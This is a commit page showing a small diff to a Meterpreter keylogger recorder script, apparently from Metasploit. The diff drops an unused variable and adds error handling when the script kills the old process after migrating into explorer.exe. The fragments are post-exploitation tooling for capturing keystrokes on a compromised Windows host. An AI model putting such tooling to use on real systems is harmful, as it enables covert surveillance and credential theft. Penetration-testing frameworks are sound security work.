Skip to content

Commit 2db85e8

Browse files
author
shellster
committed
Update keylogrecorder.rb
Removed redundant code, added error checking.
1 parent de72512 commit 2db85e8

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

scripts/meterpreter/keylogrecorder.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -54,10 +54,6 @@ def lock_screen
5454
#Function to Migrate in to Explorer process to be able to interact with desktop
5555
def explrmigrate(session,captype,lock,kill)
5656
#begin
57-
58-
server = client.sys.process.open
59-
original_pid = server.pid
60-
6157
if captype.to_i == 0
6258
process2mig = "explorer.exe"
6359
elsif captype.to_i == 1
@@ -81,9 +77,13 @@ def explrmigrate(session,captype,lock,kill)
8177
print_status("Migration Successful!!")
8278

8379
if (kill)
84-
print_status("Killing old process")
85-
client.sys.process.kill(original_pid)
86-
print_status("Old process killed.")
80+
begin
81+
print_status("Killing old process")
82+
client.sys.process.kill(mypid)
83+
print_status("Old process killed.")
84+
rescue
85+
print_status("Failed to kill old process.")
86+
end
8787
end
8888
end
8989
end

0 commit comments

Comments
 (0)